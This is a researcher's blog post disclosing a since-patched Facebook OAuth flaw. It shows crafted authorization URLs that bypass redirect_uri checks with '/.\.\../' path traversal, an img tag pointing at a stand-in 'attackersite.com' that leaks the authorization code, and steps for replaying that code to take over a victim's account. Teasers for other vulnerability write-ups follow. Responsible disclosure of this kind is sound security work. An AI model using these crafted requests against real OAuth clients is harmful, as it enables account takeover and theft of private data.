Skip to main content

OAuth 2 - How I have hacked Facebook again (..and would have stolen a valid access token)

Well well well, hacking time again :) No much time for big explanation but few weeks ago I was using a little variant of Lassie come home to potentially steal a valid Facebook's access token. In a nutshell reading a blog post of how the great Egor Homakov did hack Github  (see Bug 1. Bypass of redirect_uri validation with /../ ) I though how about Facebook :) ?.

Well here is what I found, I have copied a part of my report to Facebook security :

The redirect_uri in the https://graph.facebook.com/oauth/authorize is not validated correctly. I can bypass the redirect_uri validation with /.\.\../. This might result on stealing the authorization code of a Facebook registered OAuth Client. As an example I would use Parse.com (that is owned by Facebook). In https://parse.com/account there is the chance to link an account with Facebook.
Now the correct request is:

https://www.facebook.com/dialog/oauth?response_type=code&client_id=506576959379594&redirect_uri=https%3A%2F%2Fparse.com%2Fauth%2Ffacebook%2Fcallback&state=420c2f177072bc328309aab640fa0e9141b0f7de2c1f7d81&scope=email

but changing the request to:

https://www.facebook.com/dialog/oauth?response_type=code&client_id=506576959379594&redirect_uri=https%3A%2F%2Fparse.com%2Fauth%2Ffacebook%2Fcallback%2F.\.\../.\.\../asanso&state=420c2f177072bc328309aab640fa0e9141b0f7de2c1f7d81&scope=email

(please note the redirect_uri changed to 

https%3A%2F%2Fparse.com%2Fauth%2Ffacebook%2Fcallback/.\.\../.\.\../asanso)

will end up to be redirected to

https://parse.com/auth/asanso?code=CODE#_=_

The redirect_uri should instead not being accepted.
In order to see how this can be exploited in general let's assume that https://gist.github.com/ would also be a Facebook OAuth client with a registered redirect_uri of https://gist.github.com/auth/facebook/callback

I would then change the request from

https://graph.facebook.com/oauth/authorize?client_id=213814055461514&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Ffacebook%2Fcallback&response_type=code

to

https://graph.facebook.com/oauth/authorize?client_id=213814055461514&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Ffacebook%2Fcallback%2F.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8&response_type=code

(please note the redirect_uri=https://gist.github.com/auth/facebook/callback/.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8)

Now gist offers some limited html capability but i can use a cross domain resource, like <img>. In the img I can place <img src="http://attackersite.com/"> or <img src="///attackersite.com">

When the user loads this URL, Github 302-redirects him automatically.

Location: https://gist.github.com/auth/facebook/callback/.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8?code=CODE

But the user agent loads https://gist.github.com/asanso/a2f05bb7e38ba6af88f8?code=CODE

As soon as we get victim's CODE we can hit https://gist.github.com/auth/facebook/callback?code=CODE and yes :), we are logged into the victim's account and we have access to private gists.

I used an hypothesis of gist being an OAuth client but this would work with any OAuth client that will have the same situation than gist

The answer from Facebook was pretty quick (same for the fix):

Hi,

We have looked into this issue and believe that the vulnerability has been patched. Please re-test the issue and follow up with us if you believe that the patch does not fully resolve the issue.

Security
Facebook

PS: Nice find! :)
 And yep I also got a bounty :)

Comments

Unknown said…
why is browser changing
"https://gist.github.com/auth/facebook/callback/.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8"

to

https://gist.github.com/asanso/a2f05bb7e38ba6af88f8
Antonio Sanso said…
@unkown is this a question :) ?

Popular posts from this blog

Critical vulnerability in JSON Web Encryption (JWE) - RFC 7516

tl;dr if you are using go-jose, node-jose, jose2go, Nimbus JOSE+JWT or jose4j with ECDH-ES please update to the latest version. RFC 7516 aka JSON Web Encryption (JWE) hence many software libraries implementing this specification used to suffer from a classic Invalid Curve Attack. This would allow an attacker to completely recover the secret key of a party using JWE with Key Agreement with Elliptic Curve Diffie-Hellman Ephemeral Static (ECDH-ES), where the sender could extract receiver’s private key.

Premise
In this blog post I assume you are already knowledgeable about elliptic curves and their use in cryptography. If not Nick Sullivan's A (Relatively Easy To Understand) Primer on Elliptic Curve Cryptography or Andrea Corbellini's series Elliptic Curve Cryptography: finite fields and discrete logarithms are great starting points. Then if you further want to climb the elliptic learning curve including the related attacks you might also want to visit https://safecurves.cr.yp.to…

Slack SAML authentication bypass

tl;dr  I found a severe issue in the Slack's SAML implementation that allowed me to bypass the authentication. This has now been solved by Slack.
Introduction IMHO the rule #1 of any bug hunter (note I do not consider myself one of them since I do this really sporadically) is to have a good RSS feed list.  In the course of the last years I built a pretty decent one and I try to follow other security experts trying to "steal" some useful tricks. There are many experts in different fields of the security panorama and too many to quote them here (maybe another post). But one of the leading expert (that I follow) on SAML is by far Ioannis Kakavas. Indeed he was able in the last years to find serious vulnerability in the SAML implementation of Microsoft and Github. Usually I am more an "OAuth guy" but since both, SAML and OAuth, are nothing else that grandchildren of Kerberos learning SAML has been in my todo list for long time. The Github incident gave me the final…

CSRF in Facebook/Dropbox - "Mallory added a file using Dropbox"

tl;dr  Facebook Groups offers the option to upload files directly from the Dropbox account. This integration is done using the OAuth 2.0 protocol and suffered from a variant of the classic OAuth CSRF (defined by Egor Homakov as the the Most Common OAuth2 Vulnerability),  see video below:



Introduction  Facebook Groups offers the option to upload files directly from the Dropbox account:


This will allow to surf via browser the Dropbox account 


and post a specific file to the group.  This integration is done using a variant of the OAuth 2.0 protocol seen in this blog many many times. But once more, OAuth is an access delegation protocol standardized under the IETF umbrella. A typical OAuth flow would look like:
Usually the client initiates the OAuth flow in the following way:

then after that the resource owner has authorized the client the authorization server redirects the resource owner back to the client with an authorization code:
Then the OAuth dance continues....
Facebook/Dropbox i…